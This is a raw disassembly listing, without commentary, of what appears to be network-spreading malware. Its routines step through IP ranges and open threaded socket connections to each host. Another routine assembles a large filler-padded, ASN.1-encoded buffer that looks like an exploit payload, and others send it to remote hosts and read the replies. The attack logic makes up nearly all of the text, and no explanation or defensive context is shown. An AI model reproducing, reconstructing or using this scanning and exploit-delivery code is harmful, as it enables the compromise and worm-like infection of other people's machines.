var_BC		= dword	ptr -0BCh
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_38]
		call	dword_4CB654	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6D4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C65A
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E59C[ecx], esi
		jz	short loc_40C65A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		mov	edi, offset byte_4CE164
		push	offset asc_432284 ; "-"
		push	edi		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Str]
		push	[ebp+var_20]	; int
		push	edi		; int
		push	eax		; Str
		push	[ebp+var_BC]	; int
		call	sub_409A73
		push	edi
		call	sub_4151AD
		add	esp, 28h


loc_40C65A:				; CODE XREF: sub_40C59C+5Dj
					; sub_40C59C+7Ej
		push	esi
		call	dword_4CB6EC	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; int __cdecl sub_40C669(int Dst)

sub_40C669	proc near		; DATA XREF: sub_401ACD+603Fo

Dest		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
Src		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+Dst]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, ds:dword_427078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C697:				; CODE XREF: sub_40C669+ECj
		push	[ebp+var_30]
		push	[ebp+Src]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4322AC ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	1FFh		; Count
		push	eax		; Source
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40C59C
		push	edi
		push	edi
		call	ds:dword_42707C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C703


loc_40C6F8:				; CODE XREF: sub_40C669+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40C703
		push	32h
		call	esi	; Sleep
		jmp	short loc_40C6F8
; ---------------------------------------------------------------------------


loc_40C703:				; CODE XREF: sub_40C669+8Dj
					; sub_40C669+92j
		push	[ebp+var_4]
		call	ds:dword_427068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+Src]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_4CB57C	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_4CB650	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Src]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		jmp	loc_40C697
sub_40C669	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C75A	proc near		; DATA XREF: sub_401ACD+5D4Fo

Dest		= byte ptr -130h
var_B0		= dword	ptr -0B0h
Str		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_427078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C788:				; CODE XREF: sub_40C75A+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_432300 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	1FFh		; Count
		push	eax		; Source
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40C59C
		push	edi
		push	edi
		call	ds:dword_42707C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40C7F4


loc_40C7E9:				; CODE XREF: sub_40C75A+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40C7F4
		push	32h
		call	esi	; Sleep
		jmp	short loc_40C7E9
; ---------------------------------------------------------------------------


loc_40C7F4:				; CODE XREF: sub_40C75A+8Dj
					; sub_40C75A+92j
		push	[ebp+arg_0]
		call	ds:dword_427068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40C81B
		inc	[ebp+var_2C]
		jmp	loc_40C788
; ---------------------------------------------------------------------------


loc_40C81B:				; CODE XREF: sub_40C75A+B7j
		push	[ebp+var_1C]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4322D4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409A73
		push	[ebp+var_20]
		call	sub_40B413
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40C75A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C867	proc near		; CODE XREF: sub_40CADB+Ep
					; sub_40CADB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C867	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40C871(void	*Src,size_t Size)

sub_40C871	proc near		; CODE XREF: sub_40CADB+11Ep

Src		= dword	ptr  4
Size		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A3
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		push	ebx		; Size
		push	[esp+1Ch+Src]	; Src
		push	edi		; Dst
		call	_memcpy
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A3:				; CODE XREF: sub_40C871+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40C8AB(void	*Src,size_t Size,int,int)

sub_40C8AB	proc near		; CODE XREF: sub_40C9A5+18p
					; sub_40CA1F+16p ...

Src		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Size]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi		; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F7
		push	edi		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		push	[ebp+arg_C]	; Size
		mov	eax, [ebp+Size]
		add	eax, esi
		push	[ebp+arg_8]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F7:				; CODE XREF: sub_40C8AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_40C9A5+5Ep
					; sub_40C9A5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C910
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C910:				; CODE XREF: sub_40C900+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C919	proc near		; CODE XREF: sub_40C9A5+20p
					; sub_40CA80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C946
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C94A


loc_40C946:				; CODE XREF: sub_40C919+Dj
		xor	al, al
		jmp	short loc_40C9A1
; ---------------------------------------------------------------------------


loc_40C94A:				; CODE XREF: sub_40C919+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C989
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C919+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4] ; Size
		lea	eax, [edi+3]
		push	dword ptr [esi]	; Src


loc_40C989:				; CODE XREF: sub_40C919+54j
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A1:				; CODE XREF: sub_40C919+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CADB+89p
					; sub_40CADB+E3p ...

Src		= dword	ptr -8
Size		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+Src]
		push	dword ptr [esi+4] ; int
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset byte_4CB50C ; Src
		call	sub_40C8AB
		lea	ecx, [ebp+Src]
		call	sub_40C919
		mov	eax, [ebp+Size]
		inc	eax
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DF
		xor	al, al
		jmp	short loc_40CA1B
; ---------------------------------------------------------------------------


loc_40C9DF:				; CODE XREF: sub_40C9A5+34j
		mov	eax, [ebp+Size]
		inc	eax
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	byte ptr [edi],	3
		push	[ebp+Size]	; Size
		lea	eax, [edi+1]
		push	[ebp+Src]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+Size]
		lea	ecx, [ebp+Src]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C900
		mov	al, 1


loc_40CA1B:				; CODE XREF: sub_40C9A5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1F	proc near		; CODE XREF: sub_40CA53+14p
					; sub_40CA70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]	; int
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]	; int
		push	dword ptr [esi+4] ; Size
		push	dword ptr [esi]	; Src
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1F	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40CA53(char	*Str)

sub_40CA53	proc near		; CODE XREF: sub_40CADB+F0p
					; sub_40CADB+15Bp ...

Str		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+Str]
		call	sub_40CA1F
		pop	esi
		retn	4
sub_40CA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40CABC+Bp
					; sub_40CADB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1F
		retn	8
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA80	proc near		; CODE XREF: sub_40CABC+16p
					; sub_40CADB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C919
		test	al, al
		jz	short loc_40CAB9
		push	dword ptr [esi+4] ; int
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset asc_42CFE0 ; "#"
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB9:				; CODE XREF: sub_40CA80+Fj
		pop	esi
		leave
		retn
sub_40CA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABC	proc near		; CODE XREF: sub_40CADB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA70
		test	al, al
		jz	short loc_40CAD7
		mov	ecx, esi
		call	sub_40CA80


loc_40CAD7:				; CODE XREF: sub_40CABC+12j
		pop	esi
		retn	8
sub_40CABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADB	proc near		; CODE XREF: .text:0040D362p

Dst		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C867
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C867
		lea	ecx, [ebp+var_20]
		call	sub_40C867
		lea	ecx, [ebp+var_50]
		call	sub_40C867
		lea	ecx, [ebp+var_18]
		call	sub_40C867
		lea	ecx, [ebp+var_40]
		call	sub_40C867
		lea	ecx, [ebp+var_38]
		call	sub_40C867
		lea	ecx, [ebp+var_28]
		call	sub_40C867
		push	4
		push	offset dword_432338
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		push	3
		push	offset dword_432340
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		lea	ecx, [ebp+var_30]
		call	sub_40C9A5
		lea	ecx, [ebp+var_30]
		call	sub_40CA80
		mov	esi, 800h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	42h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_20]
		call	sub_40C9A5
		push	offset dword_4326BC ; Str
		lea	ecx, [ebp+var_50]
		call	sub_40CA53
		lea	ecx, [ebp+var_50]
		call	sub_40C9A5
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	44h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_58]
		push	410h		; Size
		push	eax		; Src
		call	sub_40C871
		lea	ecx, [ebp+var_58]
		call	sub_40C9A5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABC
		lea	ecx, [ebp+var_58]
		call	sub_40C900
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	43h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA53
		push	4
		push	offset dword_432344
		lea	ecx, [ebp+var_18]
		call	sub_40CA1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_18]
		call	sub_40C9A5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA70
		lea	ecx, [ebp+var_40]
		call	sub_40CA80
		lea	ecx, [ebp+var_18]
		call	sub_40C900
		lea	ecx, [ebp+var_50]
		call	sub_40C900
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA70
		lea	ecx, [ebp+var_38]
		call	sub_40CA80
		lea	ecx, [ebp+var_20]
		call	sub_40C900
		lea	ecx, [ebp+var_30]
		call	sub_40C900
		lea	ecx, [ebp+var_40]
		call	sub_40C900
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_28]
		call	sub_40C9A5
		push	2
		push	offset dword_4326B0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA70
		lea	ecx, [ebp+var_28]
		call	sub_40CA80
		lea	ecx, [ebp+var_38]
		call	sub_40C900
		lea	ecx, [ebp+var_10]
		call	sub_40C867
		lea	ecx, [ebp+var_8]
		call	sub_40C867
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_28]
		call	sub_40C900
		push	offset dword_4326AC ; Str
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_4326A8 ; Str
		lea	ecx, [ebp+var_10]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		push	offset dword_43269C ; Str
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_432698 ; Str
		lea	ecx, [ebp+var_48]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CADB+1Bj
					; sub_40CADB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3D:				; CODE XREF: sub_40CADB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE41	proc near		; CODE XREF: sub_40CF05+A1p
					; sub_40CF05+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_427228	; select
		cmp	eax, edi
		jnz	short loc_40CEA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40CEAC


loc_40CEA8:				; CODE XREF: sub_40CE41+54j
		xor	eax, eax
		jmp	short loc_40CEBC
; ---------------------------------------------------------------------------


loc_40CEAC:				; CODE XREF: sub_40CE41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB66C	; recv


loc_40CEBC:				; CODE XREF: sub_40CE41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40CF05+81p
					; sub_40CF05+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB650	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		cmp	eax, 4
		jz	short loc_40CEEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEEA:				; CODE XREF: sub_40CEC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40CF05(int,void *Src,size_t Size)

sub_40CF05	proc near		; CODE XREF: sub_40CFDF+48p
					; .text:0040D453p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+Size]
		lea	ebx, [edi+41h]
		push	ebx		; Size
		mov	[ebp+var_4], ebx
		call	_malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2E
		xor	al, al
		jmp	loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CF2E:				; CODE XREF: sub_40CF05+20j
		push	ebx		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	2Fh		; Size
		push	offset dword_4323D4 ; Src
		push	esi		; Dst
		call	_memcpy
		push	8		; Size
		lea	eax, [esi+31h]
		push	offset dword_432404 ; Src
		push	eax		; Dst
		mov	[esi+2Fh], di
		call	_memcpy
		push	edi		; Size
		lea	ebx, [esi+3Bh]
		push	[ebp+Src]	; Src
		mov	[esi+39h], di
		push	ebx		; Dst
		call	_memcpy
		push	6		; Size
		add	ebx, edi
		push	offset dword_4CE36C ; Src
		push	ebx		; Dst
		call	_memcpy
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43234C
		push	ebx
		call	sub_40CEC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF96


loc_40CF92:				; CODE XREF: sub_40CF05+B5j
		xor	bl, bl
		jmp	short loc_40CFD1
; ---------------------------------------------------------------------------


loc_40CF96:				; CODE XREF: sub_40CF05+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF92
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		add	esp, 10h
		mov	bl, 1


loc_40CFD1:				; CODE XREF: sub_40CF05+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFDA:				; CODE XREF: sub_40CF05+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40CFDF(int,void *Src,size_t Size)

sub_40CFDF	proc near		; CODE XREF: .text:0040D439p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432410
		push	[ebp+arg_0]
		call	ds:dword_427224	; send
		cmp	eax, 48h
		jnz	short loc_40D01A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
